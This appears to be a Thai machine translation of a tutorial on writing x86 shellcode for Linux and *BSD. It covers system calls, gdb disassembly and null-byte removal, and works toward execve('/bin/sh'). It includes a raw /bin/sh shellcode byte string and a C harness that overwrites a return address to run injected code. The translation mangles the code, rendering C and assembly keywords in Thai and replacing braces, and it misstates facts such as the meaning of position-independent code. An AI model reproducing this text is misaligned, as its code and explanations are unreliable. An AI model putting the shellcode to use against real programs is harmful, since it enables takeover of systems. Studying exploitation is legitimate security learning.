รหัสเชลล์คืออะไร? ไวรัสสำหรับลินุกซ์ เรียนรู้การเขียนเชลล์โค้ด วิธีเรียกใช้เชลล์โค้ดในหน่วยความจำ

Shellcode เป็นโค้ดส่วนหนึ่งที่สร้างไว้ในโปรแกรมที่เป็นอันตราย ซึ่งหลังจากติดไวรัสในระบบเป้าหมายของเหยื่อแล้ว สามารถรับโค้ดเชลล์คำสั่ง เช่น /bin/bash ในระบบปฏิบัติการที่คล้ายกับ UNIX, command.com ใน MS-DOS หน้าจอสีดำ และ cmd .exe ในยุคปัจจุบัน ระบบปฏิบัติการ ไมโครซอฟต์ วินโดวส์- บ่อยครั้งที่เชลล์โค้ดถูกใช้เป็นเพย์โหลดการหาประโยชน์

เชลล์โค้ด

เหตุใดจึงจำเป็น?

ตามที่คุณเข้าใจ การแพร่ระบาดในระบบ ใช้ประโยชน์จากช่องโหว่ หรือปิดใช้งานบริการของระบบบางอย่างนั้นไม่เพียงพอ การดำเนินการทั้งหมดเหล่านี้ในหลายกรณีมีจุดมุ่งหมายเพื่อให้ผู้ดูแลระบบสามารถเข้าถึงเครื่องที่ติดไวรัสได้

ดังนั้นมัลแวร์จึงเป็นเพียงวิธีหนึ่งในการเข้าถึงเครื่องและรับเชลล์ซึ่งก็คือการควบคุม และนี่คือเส้นทางโดยตรงสู่การรั่วไหลของข้อมูลที่เป็นความลับ การสร้างเครือข่ายบ็อตเน็ตที่เปลี่ยนระบบเป้าหมายให้กลายเป็นซอมบี้ หรือเพียงแค่ทำหน้าที่ทำลายล้างอื่นๆ บนเครื่องที่ถูกแฮ็ก

โดยทั่วไปแล้วเชลล์โค้ดจะถูกฉีดเข้าไปในหน่วยความจำของโปรแกรมโฮสต์ หลังจากนั้นการควบคุมจะถูกถ่ายโอนไปยังโปรแกรมโดยการหาประโยชน์จากจุดบกพร่อง เช่น สแต็กโอเวอร์โฟลว์ หรือบัฟเฟอร์โอเวอร์โฟลว์แบบฮีป หรือโดยการใช้การโจมตีสตริงรูปแบบ

การควบคุมถูกถ่ายโอนไปยังเชลล์โค้ดโดยการเขียนทับที่อยู่ผู้ส่งคืนบนสแต็กด้วยที่อยู่ของเชลล์โค้ดที่ฝังไว้ เขียนทับที่อยู่ของฟังก์ชันที่ถูกเรียก หรือการเปลี่ยนตัวจัดการการขัดจังหวะ ผลลัพธ์ทั้งหมดนี้จะเป็นการดำเนินการของเชลล์โค้ดที่เปิดขึ้น บรรทัดคำสั่งเพื่อใช้งานโดยผู้โจมตี

เมื่อใช้ประโยชน์จากช่องโหว่ระยะไกล (นั่นคือการหาประโยชน์) เชลล์โค้ดสามารถเปิดได้ คอมพิวเตอร์ที่มีช่องโหว่พอร์ต TCP ที่กำหนดไว้ล่วงหน้าเพิ่มเติม การเข้าถึงระยะไกลไปยังเชลล์คำสั่ง รหัสนี้เรียกว่าเชลล์โค้ดการเชื่อมโยงพอร์ต

หากเชลล์โค้ดเชื่อมต่อกับพอร์ตของคอมพิวเตอร์ของผู้โจมตี (เพื่อวัตถุประสงค์ในการเลี่ยงผ่านหรือรั่วไหลผ่าน NAT) โค้ดดังกล่าวจะเรียกว่าโค้ดเชลล์ย้อนกลับ

วิธีเรียกใช้เชลล์โค้ดในหน่วยความจำ

มีสองวิธีในการรันเชลล์โค้ดในหน่วยความจำเพื่อดำเนินการ:

  • วิธีรหัสที่ไม่ขึ้นกับตำแหน่ง (PIC) คือรหัสที่ใช้การเชื่อมโยงแบบเข้มงวดของรหัสไบนารี่ (นั่นคือ รหัสที่จะดำเนินการในหน่วยความจำ) กับที่อยู่หรือข้อมูลเฉพาะ เชลล์โค้ดนั้นเป็น PIC โดยพื้นฐานแล้ว เหตุใดการผูกแน่นจึงสำคัญมาก? เชลล์ไม่ทราบแน่ชัดว่าอยู่ที่ไหน แรมจะตั้งอยู่เพราะในขณะรันไทม์ รุ่นที่แตกต่างกันของโปรแกรมหรือมัลแวร์ที่ถูกบุกรุก พวกเขาสามารถโหลดเชลล์โค้ดลงในเซลล์หน่วยความจำที่แตกต่างกันได้
  • วิธีการระบุตำแหน่งการดำเนินการต้องใช้เชลล์โค้ดในการอ้างอิงตัวชี้ที่ซ่อนอยู่เมื่อเข้าถึงข้อมูลในโครงสร้างหน่วยความจำที่ไม่ขึ้นกับตำแหน่ง การเพิ่ม (เพิ่ม) หรือการลบ (ลด) ค่าจากตัวชี้พื้นฐานช่วยให้คุณเข้าถึงข้อมูลที่รวมอยู่ในเชลล์โค้ดได้อย่างปลอดภัย

นิตยสาร FreeBSD, 09.2010

รหัสเชลล์คือลำดับคำสั่งเครื่องที่สามารถใช้ได้ โปรแกรมที่กำลังรันอยู่อาจถูกบังคับให้ทำอย่างอื่นแทน เมื่อใช้วิธีการนี้ คุณสามารถใช้ประโยชน์จากช่องโหว่ของซอฟต์แวร์บางอย่างได้ (เช่น สแต็กโอเวอร์โฟลว์ ฮีปโอเวอร์โฟลว์ ช่องโหว่ของสตริงรูปแบบ)

ตัวอย่างของโค้ดเชลล์ที่อาจมีลักษณะดังนี้:

ถ่านเชลล์โค้ด = "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\ x76\x08\x89\x46" "\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d \x56\x0c\xcd\x80" "\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\ x2f\x73\x68";

โดยทั่วไปแล้ว นี่คือลำดับของไบต์ในภาษาเครื่อง วัตถุประสงค์ของเอกสารนี้คือเพื่อทบทวนเทคนิคทั่วไปในการพัฒนาโค้ดเชลล์สำหรับระบบ Linux และ *BSD ที่ทำงานบนสถาปัตยกรรม x86

ด้วยการค้นหาในเว็บ คุณสามารถค้นหาตัวอย่างเชลล์โค้ดสำเร็จรูปได้อย่างง่ายดาย ซึ่งคุณเพียงแค่ต้องคัดลอกและวางในตำแหน่งที่ถูกต้อง ทำไมต้องศึกษาการพัฒนาของมัน? ในความคิดของฉัน มีเหตุผลที่ดีอย่างน้อยสองสามข้อ:

ประการแรก การเรียนรู้เกี่ยวกับภายในของบางสิ่งบางอย่างมักเป็นความคิดที่ดีก่อนที่จะใช้งาน ซึ่งจะช่วยหลีกเลี่ยงเรื่องไม่คาดคิด (ปัญหานี้จะมีการหารือในภายหลังที่ http://www.kernel-panic.it/security/shellcode/shellcode6 .html ใน รายละเอียด);

ประการที่สอง โปรดจำไว้ว่าโค้ดเชลล์สามารถทำงานได้ในสภาพแวดล้อมที่แตกต่างกันอย่างสิ้นเชิง เช่น ตัวกรองอินพุต-เอาต์พุต พื้นที่การจัดการสตริง IDS และเป็นประโยชน์ที่จะจินตนาการว่าจะต้องแก้ไขอย่างไรเพื่อให้เหมาะสมกับเงื่อนไข

นอกจากนี้ แนวคิดในการหาประโยชน์จากช่องโหว่จะช่วยให้คุณเขียนโปรแกรมที่ปลอดภัยยิ่งขึ้น

ขั้นต่อไป การรู้จักแอสเซมเบลอร์สำหรับสถาปัตยกรรม IA-32 จะมีประโยชน์ เนื่องจากเราจะกล่าวถึงหัวข้อต่างๆ เช่น การใช้งานรีจิสเตอร์ การกำหนดแอดเดรสหน่วยความจำ และหัวข้ออื่นๆ ที่คล้ายกัน ไม่ว่าในกรณีใด ในตอนท้ายของบทความจะมีสื่อจำนวนมากที่เป็นประโยชน์สำหรับการเรียนรู้หรือรีเฟรชหน่วยความจำข้อมูลพื้นฐานเกี่ยวกับการเขียนโปรแกรมภาษาแอสเซมบลี จำเป็นต้องมีความรู้พื้นฐานเกี่ยวกับ Linux และ *BSD ด้วย

การเรียกระบบ Linux
แม้ว่าตามหลักการแล้ว โค้ดเชลล์จะสามารถทำอะไรก็ได้ แต่จุดประสงค์หลักของการรันโค้ดคือเพื่อเข้าถึง command interterter (เชลล์) บนเครื่องเป้าหมาย โดยเฉพาะอย่างยิ่งในโหมดสิทธิพิเศษ ซึ่งเป็นที่มาของชื่อโค้ดเชลล์
วิธีที่ง่ายและตรงที่สุดในการทำงานที่ซับซ้อนในภาษาแอสเซมบลีคือการใช้การเรียกของระบบ การเรียกของระบบจัดให้มีส่วนต่อประสานระหว่างพื้นที่ผู้ใช้และพื้นที่เคอร์เนล กล่าวอีกนัยหนึ่ง มันเป็นวิธีการสำหรับโปรแกรมผู้ใช้ในการรับบริการจากบริการเคอร์เนล นี่คือวิธีที่การจัดการเกิดขึ้น ระบบไฟล์มีการเปิดตัวกระบวนการใหม่ จัดให้มีการเข้าถึงอุปกรณ์ และอื่นๆ
ดังที่แสดงในรายการ 1 การเรียกระบบถูกกำหนดไว้ในไฟล์ /usr/src/linux/include/asmi386/unistd.h โดยแต่ละรายการมีตัวเลข
มีสองวิธีมาตรฐานในการใช้การเรียกของระบบ:

เปิดใช้งานซอฟต์แวร์ขัดจังหวะ 0x80;
- การเรียกใช้ฟังก์ชัน wrapper จาก libc

วิธีแรกนั้นพกพาได้ง่ายกว่าเนื่องจากสามารถใช้ได้กับอะไรก็ได้ การกระจายลินุกซ์(กำหนดโดยรหัสเคอร์เนล) วิธีที่สองพกพาได้น้อยกว่าเพราะถูกกำหนดโดยโค้ดไลบรารีมาตรฐาน

int0x80
มาดูวิธีแรกกันดีกว่า เมื่อโปรเซสเซอร์ได้รับการขัดจังหวะ 0x80 จะเข้าสู่โหมดเคอร์เนลและดำเนินการฟังก์ชันที่ร้องขอ โดยรับตัวจัดการที่ต้องการจากตารางตัวอธิบายการขัดจังหวะ ต้องกำหนดหมายเลขการโทรของระบบใน EAX ซึ่งท้ายที่สุดแล้วจะมีค่าที่ส่งคืน ในทางกลับกัน อาร์กิวเมนต์ของฟังก์ชันต้องมีจำนวนไม่เกินหกรายการใน EBX, ECX, EDX, ESI, EDI และ EBP ตามลำดับและเฉพาะจำนวนรีจิสเตอร์ที่ต้องการเท่านั้น ไม่ใช่ทั้งหมด หากฟังก์ชันต้องการอาร์กิวเมนต์มากกว่าหกข้อ คุณต้องใส่อาร์กิวเมนต์เหล่านั้นไว้ในโครงสร้างและจัดเก็บตัวชี้ไปยังองค์ประกอบแรกใน EBX

ควรจำไว้ว่าเคอร์เนล Linux ก่อนหน้า 2.4 ไม่ได้ใช้รีจิสเตอร์ EBP เพื่อส่งผ่านอาร์กิวเมนต์ ดังนั้นจึงสามารถส่งผ่านอาร์กิวเมนต์ได้เพียงห้าอาร์กิวเมนต์ผ่านรีจิสเตอร์

หลังจากจัดเก็บหมายเลขการเรียกของระบบและพารามิเตอร์ในรีจิสเตอร์ที่เหมาะสมแล้ว จะเรียกว่าอินเทอร์รัปต์ 0x80: โปรเซสเซอร์เข้าสู่โหมดเคอร์เนล ดำเนินการการเรียกของระบบ และถ่ายโอนการควบคุมไปยังกระบวนการผู้ใช้ ในการสร้างสถานการณ์นี้ขึ้นมาใหม่ คุณต้องมี:

สร้างโครงสร้างในหน่วยความจำที่มีพารามิเตอร์การเรียกของระบบ
- บันทึกตัวชี้ไปยังอาร์กิวเมนต์แรกใน EBX;
- รันซอฟต์แวร์ขัดจังหวะ 0x80

ตัวอย่างที่ง่ายที่สุดจะประกอบด้วยการเรียกระบบ exit(2) แบบคลาสสิก จากไฟล์ /usr/src/linux/include/asm-i386/unistd.h เราพบหมายเลขของมัน: 1. man page จะบอกเราว่ามีอาร์กิวเมนต์ที่จำเป็น (สถานะ) เพียงอาร์กิวเมนต์เดียวเท่านั้น ดังที่แสดงในรายการ 2

เราจะบันทึกไว้ในทะเบียน EBX ดังนั้นจึงจำเป็นต้องมีคำแนะนำต่อไปนี้:

exit.asm mov eax, 1 ; จำนวน _exit(2) syscall mov ebx, 0 ; สถานะ int 0x80 ; ขัดจังหวะ 0x80

libc
ตามที่กล่าวไว้อีกประการหนึ่ง วิธีการมาตรฐานคือการใช้ฟังก์ชัน C เรามาดูวิธีการทำโดยใช้โปรแกรม C อย่างง่ายเป็นตัวอย่าง:

exit.c หลัก () ( ออก (0); )

คุณเพียงแค่ต้องรวบรวมมัน:

$ gcc -o ทางออก exit.c

ลองแยกชิ้นส่วนโดยใช้ gdb เพื่อให้แน่ใจว่าใช้การเรียกระบบเดียวกัน (รายการ 3)

รายการ 3. การแยกส่วนโปรแกรมทางออกโดยใช้ดีบักเกอร์ gdb$ gdb ./exit GNU gdb 6.1-debian ลิขสิทธิ์ 2004 Free Software Foundation, Inc. GDB เป็นซอฟต์แวร์ฟรีที่ได้รับการคุ้มครองโดย GNU General Public License และคุณสามารถเปลี่ยนแปลงและ/หรือแจกจ่ายสำเนาของซอฟต์แวร์ได้ภายใต้เงื่อนไขบางประการ พิมพ์ "แสดงการคัดลอก" เพื่อดูเงื่อนไข ไม่มีการรับประกันสำหรับ GDB อย่างแน่นอน พิมพ์ "แสดงการรับประกัน" เพื่อดูรายละเอียด GDB นี้ได้รับการกำหนดค่าเป็น "i386-linux"...โดยใช้โฮสต์ libthread_db ไลบรารี่ "/lib/ libthread_db.so.1" (gdb) แบ่งเบรกพอยต์หลัก 1 ที่ 0x804836a (gdb) รัน โปรแกรมเริ่มต้น: /ramdisk/var/tmp/exit เบรกพอยต์ 1, 0x0804836a ใน main () (gdb) disas main ดัมพ์ของโค้ดแอสเซมเบลอร์สำหรับฟังก์ชัน main: 0x08048364: กด %ebp 0x08048365: mov %esp,%ebp 0x08048367: ย่อย $0x8,%esp 0x0804836a: และ $0xffffff0,%esp 0x0804836d: mov $0x0,%eax 0x08048372: ย่อย %eax,%esp 0x08048374: mov l $0x0,(% โดยเฉพาะ ) 0x0804837b: โทร 0x8048284 สิ้นสุดการถ่ายโอนข้อมูลแอสเซมเบลอร์ (จีดีบี)

ฟังก์ชั่นสุดท้ายใน main() คือการเรียกร้องให้ exit(3) ต่อไปเราจะเห็นว่า exit(3) ในทางกลับกันเรียก _exit(2) ซึ่งเรียกการเรียกของระบบ รวมถึงการขัดจังหวะ 0x80 รายการ 4

รายการ 4. การโทรระบบ(gdb) disas exit ดัมพ์ของโค้ดแอสเซมเบลอร์สำหรับการออกจากฟังก์ชัน: [...] 0x40052aed: mov 0x8(%ebp),%eax 0x40052af0: mov %eax,(%esp) 0x40052af3: โทร 0x400ced9c<_exit>[...] สิ้นสุดการถ่ายโอนข้อมูลแอสเซมเบลอร์ (gdb) disas _exit ดัมพ์ของโค้ดแอสเซมเบลอร์สำหรับฟังก์ชัน _exit: 0x400ced9c<_exit+0> <_exit+4>: mov $0xfc,%eax 0x400ceda5<_exit+9>: int $0x80 0x400ceda7<_exit+11>: mov $0x1,%eax 0x400cedac<_exit+16>: int $0x80 0x400cedae<_exit+18>: hlt 0x400cedaf<_exit+19>

ดังนั้นเชลล์โค้ดที่ใช้ libc จะเรียกการเรียกของระบบ _exit(2) ทางอ้อม:

กด dword 0 ; สถานะการโทร 0x8048284 ; เรียกใช้ฟังก์ชัน libc exit() ;(ที่อยู่ที่ได้รับจากการถอดชิ้นส่วนด้านบน) เพิ่ม esp, 4 ; ทำความสะอาดสแต็ก

* การโทรระบบ BSD
ในตระกูล *BSD การเรียกของระบบดูแตกต่างออกไปเล็กน้อย การเรียกทางอ้อม (โดยใช้ที่อยู่ฟังก์ชัน libc) ไม่ได้สร้างความแตกต่าง
หมายเลขการโทรของระบบแสดงอยู่ในไฟล์ /usr/src/sys/kern/syscalls.master ไฟล์นี้ยังมีฟังก์ชันต้นแบบอยู่ด้วย รายการที่ 5 แสดงจุดเริ่มต้นของไฟล์ใน OpenBSD:

บรรทัดแรกประกอบด้วยหมายเลขโทรศัพท์ของระบบ บรรทัดที่สองคือประเภทของหมายเลขนั้น บรรทัดที่สามคือต้นแบบฟังก์ชัน ต่างจาก Linux ตรงที่การเรียกระบบ *BSD ไม่ได้ใช้หลักการเรียกแบบเร็วในการพุชอาร์กิวเมนต์ไปยังรีจิสเตอร์ แต่ใช้สไตล์ C ในการพุชอาร์กิวเมนต์ลงบนสแต็กแทน ข้อโต้แย้งถูกวางไว้ใน ลำดับย้อนกลับโดยเริ่มจากอันขวาสุดเพื่อให้ดึงข้อมูลมาในลำดับที่ถูกต้อง ทันทีหลังจากกลับจากการเรียกของระบบ สแต็กจะต้องถูกล้างโดยการวางจำนวนไบต์เท่ากับความยาวของอาร์กิวเมนต์ทั้งหมดลงในตัวชี้ออฟเซ็ตสแต็ก (หรือพูดง่ายๆ ก็คือโดยการเพิ่มไบต์เท่ากับจำนวนอาร์กิวเมนต์คูณด้วย 4) . บทบาทของรีจิสเตอร์ EAX นั้นเหมือนกับใน Linux โดยมีจำนวนการเรียกของระบบ และท้ายที่สุดจะมีค่าที่ส่งคืน

ดังนั้นจึงมีสี่ขั้นตอนที่จำเป็นในการดำเนินการเรียกระบบ:

การจัดเก็บหมายเลขโทรศัพท์ใน EAX;
- วางข้อโต้แย้งในลำดับย้อนกลับบนสแต็ก
- การดำเนินการของซอฟต์แวร์ขัดจังหวะ 0x80;
- การเคลียร์สแต็ค

ตัวอย่าง Linux ที่แปลงเป็น *BSD จะมีลักษณะดังนี้:

exit_BSD.asm mov eax, 1 ; หมายเลข Syscall กด dword 0 ; rval ดัน eax ; ดัน อีกหนึ่ง dword (ดูด้านล่าง) int 0x80 ; 0x80 ขัดจังหวะเพิ่ม esp, 8 ; ทำความสะอาดสแต็ก

การเขียนโค้ดเชลล์
ตัวอย่างต่อไปนี้ ออกแบบมาสำหรับ Linux สามารถปรับให้เข้ากับโลก *BSD ได้อย่างง่ายดาย เพื่อให้ได้โค้ดเชลล์ที่เสร็จสมบูรณ์ เราเพียงแค่ต้องได้รับ opcodes ที่สอดคล้องกับคำแนะนำในการประกอบ โดยทั่วไปจะใช้สามวิธีเพื่อรับ opcodes:

เขียนด้วยตนเอง (พร้อมเอกสารประกอบของ Intel อยู่ในมือ!);
- การเขียนโค้ดแอสเซมบลีแล้วแยก opcode
- เขียนโค้ดในภาษา C แล้วจึงแยกส่วน

ตอนนี้เรามาดูอีกสองวิธีที่เหลือ

ในการประกอบ
ขั้นตอนแรกคือการใช้โค้ดแอสเซมบลีจากตัวอย่าง exit.asm โดยใช้การเรียกระบบ _exit(2) ในการรับ opcodes เราใช้ nasm จากนั้นแยกชิ้นส่วนไบนารีที่ประกอบโดยใช้ objdump ดังแสดงในรายการ 6

คอลัมน์ที่สองประกอบด้วยรหัสเครื่องที่เราต้องการ ดังนั้นเราจึงสามารถเขียนโค้ดเชลล์แรกของเราและทดสอบโดยใช้โปรแกรม C ง่ายๆ ที่นำมาจาก http://www.phrack.org/

รายการ 7. ทดสอบ opcode sc_exit.c ถ่านเชลล์โค้ด = "\xbb\x00\x00\x00\x00" "\xb8\x01\x00\x00\x00" "\xcd\x80"; int main() ( int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; )

แม้ว่าแนวทางนี้จะได้รับความนิยม แต่รหัส C สำหรับโปรแกรมตรวจสอบอาจดูไม่ชัดเจนเพียงพอ อย่างไรก็ตาม มันเพียงแค่เขียนทับที่อยู่ของฟังก์ชัน main() ด้วยที่อยู่ของเชลล์โค้ดเพื่อวัตถุประสงค์ในการรันคำสั่งเชลล์โค้ดใน main() หลังจากคำสั่งแรก สแต็กจะพัฒนาดังนี้:

ที่อยู่ผู้ส่ง (วางโดยคำสั่ง CALL) ที่จะวางไว้ใน EIP เมื่อออก
- EBP ที่บันทึกไว้ (จะกู้คืนเมื่อออกจากฟังก์ชัน)
- ret (ตัวแปรท้องถิ่นตัวแรกในฟังก์ชัน main())

คำสั่งที่สองจะเพิ่มที่อยู่ของตัวแปร ret แปดไบต์ (สองคำ) เพื่อให้ได้ที่อยู่ของที่อยู่ผู้ส่ง นั่นคือ ตัวชี้ไปยังคำสั่งแรกที่จะดำเนินการใน main() ในที่สุด คำสั่งที่สามจะเขียนทับที่อยู่ด้วยที่อยู่เชลล์โค้ด ณ จุดนี้ โปรแกรมจะออกจาก main() กู้คืน EBP เก็บที่อยู่เชลล์โค้ดใน EIP และดำเนินการ หากต้องการดูการดำเนินการทั้งหมดนี้ คุณต้องคอมไพล์และรัน sc_exit.c:

$ gcc -o sc_exit sc_exit.c $ ./sc_exit $

ฉันหวังว่าปากของคุณจะกว้างพอ เพื่อให้แน่ใจว่าโค้ดเชลล์ถูกดำเนินการ เพียงรันแอปพลิเคชันภายใต้ strace รายการ 8

รายการ 8. ทดสอบการติดตามแอปพลิเคชัน$ strace ./sc_exit execve("./sc_exit", ["./sc_exit"], ) = 0 uname((sys="Linux", node="Knoppix", ...)) = 0 brk(0) = 0x8049588 old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40017000 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (ไม่มีไฟล์หรือไดเร็กทอรีดังกล่าว) เปิดอยู่ ("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (ไม่มีไฟล์หรือไดเรกทอรีดังกล่าว) open("/etc/ld.so.cache", O_RDONLY) = 3 fstat64(3, (st_mode=S_IFREG |0644, st_size=60420, ...)) = 0 old_mmap(NULL, 60420, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40018000 ปิด (3) = 0 การเข้าถึง ("/etc/ld.so.nohwcap", F_OK ) = -1 ENOENT (ไม่มีไฟล์หรือไดเร็กทอรีดังกล่าว) open("/lib/libc.so.6", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0 \0\0\0\0\0\3\0\3\0\1\0\0\0\200^\1"..., 512) = 512 fstat64(3, (st_mode=S_IFREG|0644 , st_size=1243792, ...)) = 0 old_mmap(0x4014f000, 32768, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED , 3, 0x127000) = 0x4014f000 old_mmap(0x40157000, 8772, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40157000 ปิด (3) = 0 munmap (0x40018000, 60420) = 0 _exit(0) = ? -

บรรทัดสุดท้ายคือการเรียกไปยัง _exit(2) อย่างไรก็ตาม เมื่อดูโค้ดเชลล์แล้ว เราจะพบปัญหาเล็กน้อย: มันมีไบต์ว่างจำนวนมาก เนื่องจากโค้ดเชลล์มักถูกเขียนลงในบัฟเฟอร์สตริง ไบต์เหล่านี้จะไปอยู่ที่ตัวคั่นบรรทัดและการโจมตีจะล้มเหลว มีสองวิธีในการแก้ปัญหา:

เขียนคำสั่งที่ไม่มีไบต์เป็นศูนย์ (และไม่สามารถทำได้เสมอไป)
- เขียนโค้ดเชลล์เพื่อแก้ไขด้วยตนเอง โดยลบไบต์ null ออก เพื่อที่รันไทม์โค้ดจะเพิ่มไบต์ null โดยจัดแนวสตริงให้ตรงกับตัวคั่น

มาดูวิธีแรกกัน
คำสั่งแรก (mov ebx, 0) สามารถแก้ไขได้ให้เป็นเรื่องปกติมากขึ้น (ด้วยเหตุผลด้านประสิทธิภาพ):

xor ebx, ebx

คำสั่งที่สองประกอบด้วยเลขศูนย์เหล่านี้ทั้งหมดเนื่องจากใช้รีจิสเตอร์ 32 บิต (EAX) ซึ่งสร้าง 0x01 ซึ่งกลายเป็น 0x01000000 (ส่วนนิบเบิลอยู่ในลำดับย้อนกลับเนื่องจาก Intel® เป็นโปรเซสเซอร์ endian ตัวเล็ก) ดังนั้นเราจึงสามารถแก้ไขปัญหานี้ได้ง่ายๆ โดยใช้รีจิสเตอร์ 8 บิต (AL):

mov อัล, 1

ตอนนี้โค้ดแอสเซมบลีของเรามีลักษณะดังนี้:

xor ebx, ebx mov อัล, 1 int 0x80

และไม่มีไบต์ว่าง (รายการ 9)

รายการ 9. การตรวจสอบเชลล์โค้ด$ nasm -f exit2.asm $ objdump -d exit2.o exit2.o: รูปแบบไฟล์ elf32-i386 การแยกส่วน .text: 00000000<.text>: 0: 31 db xor %ebx,%ebx 2: b0 01 mov $0x1,%al 4: cd 80 int $0x80 $
รายการ 10. ไบนารี Exit.c เปิดด้วย gdb$ gdb ./exit GNU gdb 6.1-debian ลิขสิทธิ์ 2004 Free Software Foundation, Inc. GDB เป็นซอฟต์แวร์ฟรีที่ได้รับการคุ้มครองโดย GNU General Public License และคุณสามารถเปลี่ยนแปลงและ/หรือแจกจ่ายสำเนาของซอฟต์แวร์ได้ภายใต้เงื่อนไขบางประการ พิมพ์ "แสดงการคัดลอก" เพื่อดูเงื่อนไข ไม่มีการรับประกันสำหรับ GDB อย่างแน่นอน พิมพ์ "แสดงการรับประกัน" เพื่อดูรายละเอียด GDB นี้ได้รับการกำหนดค่าเป็น "i386-linux"...โดยใช้โฮสต์ libthread_db ไลบรารี่ "/lib/ libthread_db.so.1" (gdb) แบ่งเบรกพอยต์หลัก 1 ที่ 0x804836a (gdb) รัน โปรแกรมเริ่มต้น: /ramdisk/var/tmp/exit เบรกพอยต์ 1, 0x0804836a ใน main () (gdb) disas _exit ดัมพ์ของโค้ดแอสเซมเบลอร์สำหรับฟังก์ชัน _exit: 0x400ced9c<_exit+0>: mov 0x4(%esp),%ebx 0x400ceda0<_exit+4>: mov $0xfc,%eax 0x400ceda5<_exit+9>: int $0x80 0x400ceda7<_exit+11>: mov $0x1,%eax 0x400cedac<_exit+16>: int $0x80 0x400cedae<_exit+18>: hlt 0x400cedaf<_exit+19>: nop สิ้นสุดการถ่ายโอนข้อมูลแอสเซมเบลอร์ (จีดีบี)

อย่างที่คุณเห็น ฟังก์ชัน _exit(2) ใช้การเรียกระบบสองครั้ง: 0xfc (252), _exit_group(2) และ _exit(2) _exit_group(2) คล้ายกับ _exit(2) แต่จุดประสงค์คือเพื่อยุติเธรดทั้งหมดในกลุ่ม รหัสของเราต้องการการเรียกระบบครั้งที่สองเท่านั้น

มาแยก opcodes:

(gdb) x/4bx _ออก 0x400ced9c<_exit>: 0x8b 0x5c 0x24 0x04 (gdb) x/7bx _ออก+11 0x400ceda7<_exit+11>: 0xb8 0x01 0x00 0x00 0x00 0xcd 0x80 (gdb)

เช่นเดียวกับในตัวอย่างก่อนหน้านี้ คุณจะต้องเอาชนะศูนย์ไบต์

รับคอนโซล
ถึงเวลาเขียนโค้ดเชลล์ที่จะช่วยให้คุณทำสิ่งที่มีประโยชน์มากขึ้นได้ ตัวอย่างเช่น เราสามารถสร้างโค้ดเพื่อเข้าถึงคอนโซลและออกจากระบบได้อย่างเรียบร้อยหลังจากวางไข่คอนโซล วิธีที่ง่ายที่สุดที่นี่คือการใช้การเรียกของระบบ execve(2) อย่าลืมดูที่หน้าคน รายการ 11

รายชื่อ 11. บุคคลที่ 2 ผู้บริหาร EXECVE(2) คู่มือโปรแกรมเมอร์ Linux EXECVE(2) NAME execve – รันโปรแกรม SYNOPSIS #include int execve(const char *filename, char *const argv , char *const envp); DESCRIPTION execve() รันโปรแกรมที่ชี้ไปที่ชื่อไฟล์ ชื่อไฟล์จะต้องเป็นไฟล์ปฏิบัติการแบบไบนารีหรือสคริปต์ที่ขึ้นต้นด้วยบรรทัดในรูปแบบ "#! ล่าม " ในกรณีหลัง ล่ามจะต้องเป็นชื่อพาธที่ถูกต้องสำหรับไฟล์เรียกทำงานซึ่งไม่ใช่สคริปต์ ซึ่งจะถูกเรียกใช้เป็นชื่อไฟล์ของล่าม argv คืออาร์เรย์ของสตริงอาร์กิวเมนต์ที่ส่งผ่านไปยังโปรแกรมใหม่ envp คืออาร์เรย์ ของสตริงตามอัตภาพเป็นสภาพแวดล้อมของโปรแกรมใหม่ ทั้ง argv และ envp จะต้องถูกยกเลิกโดยตัวชี้ null หลัก (int argc, ถ่าน *argv, ถ่าน *envp) -

เราต้องผ่านการโต้แย้งสามข้อ:

ตัวชี้ไปยังชื่อของโปรแกรมที่จะดำเนินการ ในกรณีของเรา คือตัวชี้ไปยังบรรทัด /bin/sh;
- ตัวชี้ไปยังอาร์เรย์ของสตริงที่ส่งผ่านเป็นอาร์กิวเมนต์ของโปรแกรม อาร์กิวเมนต์แรกต้องเป็น argv นั่นคือชื่อของโปรแกรมเอง อาร์กิวเมนต์สุดท้ายจะต้องเป็นตัวชี้โมฆะ
- ตัวชี้ไปยังอาร์เรย์ของสตริงเพื่อส่งผ่านเป็นสภาพแวดล้อมของโปรแกรม โดยทั่วไปสตริงเหล่านี้จะได้รับในรูปแบบ key=value และองค์ประกอบสุดท้ายของอาร์เรย์จะต้องเป็นตัวชี้ค่าว่าง ใน C มีลักษณะดังนี้:

มารวมกันและดูว่ามันทำงานอย่างไร:

เอาล่ะ เราก็ได้เปลือกแล้ว ตอนนี้เรามาดูกันว่าการเรียกระบบนี้มีลักษณะอย่างไรในแอสเซมเบลอร์ (เนื่องจากเราใช้อาร์กิวเมนต์สามตัว เราจึงสามารถใช้รีจิสเตอร์แทนโครงสร้างได้) ปัญหาสองประการปรากฏชัดเจนทันที:

ปัญหาแรกเป็นที่ทราบแล้ว: เราไม่สามารถทิ้งไบต์ว่างไว้ในโค้ดเชลล์ได้ แต่ในกรณีนี้ อาร์กิวเมนต์คือสตริง (/bin/sh) ที่สิ้นสุดด้วยไบต์ว่าง และเราต้องผ่านตัวชี้ว่างสองตัวระหว่างข้อโต้แย้งเพื่อดำเนินการ (2)!
- ปัญหาที่สองคือการค้นหาที่อยู่ของบรรทัด การกำหนดแอดเดรสหน่วยความจำสัมบูรณ์นั้นยาก และจะทำให้โค้ดเชลล์ไม่สามารถพกพาได้จริงด้วย

